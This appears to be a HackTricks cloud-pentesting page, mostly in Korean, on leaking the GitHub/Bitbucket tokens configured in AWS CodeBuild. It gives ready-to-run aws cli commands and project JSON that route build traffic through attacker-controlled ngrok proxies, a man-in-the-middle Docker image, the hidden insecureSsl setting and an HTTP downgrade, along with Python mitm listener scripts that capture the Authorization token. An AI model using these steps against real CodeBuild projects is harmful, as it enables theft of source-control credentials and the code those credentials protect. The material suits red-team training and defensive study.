AWS Codebuild - Token Leakage

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Github/Bitbucket에 구성된 토큰 복구

먼저, leak할 수 있는 구성된 소스 자격 증명이 있는지 확인하세요:

aws codebuild list-source-credentials

Docker Image를 통한 방법

계정에 예를 들어 Github에 대한 인증이 설정되어 있음을 발견하면, Codebuild가 프로젝트 빌드를 실행할 때 특정 Docker image를 사용하도록 하여 그 exfiltrateaccess (GH token or OAuth token)를 획득할 수 있습니다.

이를 위해 create a new Codebuild project 하거나 기존 프로젝트의 environment를 변경하여 Docker image를 설정할 수 있습니다.

사용할 수 있는 Docker 이미지: https://github.com/carlospolop/docker-mitm. 이 이미지는 매우 기본적인 Docker 이미지로 env variables https_proxy, http_proxy 및 **SSL_CERT_FILE**을 설정합니다. 이는 **https_proxy**와 **http_proxy**에 지정된 호스트의 대부분 트래픽을 intercept하고 **SSL_CERT_FILE**에 지정된 SSL CERT를 신뢰하도록 합니다.

  1. Create & Upload your own Docker MitM image
  • 레포지토리의 지침을 따라 proxy IP 주소와 SSL cert를 설정하고 build the docker image 합니다.
  • DO NOT SET http_proxy — metadata endpoint로의 요청을 intercept하지 않도록 합니다.
  • **ngrok**을 사용하여 ngrok tcp 4444처럼 호스트의 proxy를 설정할 수 있습니다
  • Docker 이미지가 빌드되면 upload it to a public repo (Dockerhub, ECR…)
  1. Set the environment
  • Create a new Codebuild project를 생성하거나 기존 프로젝트의 modify된 environment를 사용합니다.
  • 프로젝트가 previously generated Docker image를 사용하도록 설정합니다
  1. Set the MitM proxy in your host
  • Github repo에 표시된 대로 다음과 같이 사용할 수 있습니다:
mitmproxy --listen-port 4444  --allow-hosts "github.com"

Tip

사용된 mitmproxy 버전은 9.0.1이며, 보고에 따르면 버전 10에서는 작동하지 않을 수 있습니다.

  1. 빌드를 실행하고 자격 증명을 캡처하기
  • Authorization 헤더에서 토큰을 확인할 수 있습니다:

이는 aws cli에서도 다음과 같이 수행할 수 있습니다:

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

insecureSSL을 통해

Codebuild 프로젝트에는 웹 UI에 숨겨져 있으며 API에서만 변경할 수 있는 **insecureSsl**라는 설정이 있습니다.
이 설정을 활성화하면 Codebuild가 플랫폼에서 제공하는 리포지토리에 플랫폼에서 제공하는 인증서를 확인하지 않고 연결할 수 있습니다.

  • 먼저 다음과 같은 명령으로 현재 구성을 열거해야 합니다:
aws codebuild batch-get-projects --name <proj-name>
  • 그런 다음 수집한 정보를 사용하여 프로젝트 설정 insecureSslTrue 로 업데이트할 수 있습니다. 다음은 제가 프로젝트를 업데이트한 예시입니다. 끝부분의 insecureSsl=True 를 확인하세요(수집한 구성에서 변경해야 하는 유일한 사항입니다).
  • 또한 환경 변수 http_proxyhttps_proxy 를 tcp ngrok을 가리키도록 추가하세요. 예:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • 마지막으로 Build the project를 클릭하면, 자격 증명평문으로 전송됩니다 (base64) mitm 포트로:

HTTP 프로토콜을 통한

[!TIP] > 이 취약점은 2023년 2월 20일 주 어느 시점(아마 금요일)에 AWS에서 수정되었습니다. 따라서 공격자는 더 이상 이를 악용할 수 없습니다 :)

권한이 상승된 공격자는 CodeBuild에서 구성된 Github/Bitbucket 토큰을 leak할 수 있으며, 권한이 OAuth로 구성된 경우 temporary OAuth token used to access the code를 leak할 수 있습니다.

  • 공격자는 환경 변수 http_proxyhttps_proxy를 CodeBuild 프로젝트에 추가하여 자신의 머신을 가리키게 할 수 있습니다(예: http://5.tcp.eu.ngrok.io:14972).
  • 그런 다음 github 리포지토리의 URL을 HTTPS 대신 HTTP를 사용하도록 변경합니다. 예: http://github.com/carlospolop-forks/TestActions
  • 그런 다음 프록시 변수(http_proxy와 https_proxy)가 가리키는 포트에서 https://github.com/synchronizing/mitm의 기본 예제를 실행합니다.
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • 다음으로, Build the project를 클릭하거나 커맨드 라인에서 빌드를 시작하세요:
aws codebuild start-build --project-name <proj-name>
  • 마지막으로, credentials평문(base64)으로 mitm 포트로 전송됩니다:

Warning

이제 attacker는 자신의 머신에서 token을 사용하고, token이 가진 모든 권한을 나열하며, CodeBuild 서비스를 직접 사용하는 것보다 더 쉽게 (ab)use할 수 있게 됩니다.

Untrusted PR execution via webhook filter misconfiguration

PR-triggered webhook bypass chain (ACTOR_ACCOUNT_ID regex + untrusted PR execution)에 대해서는 다음을 확인하세요:

AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기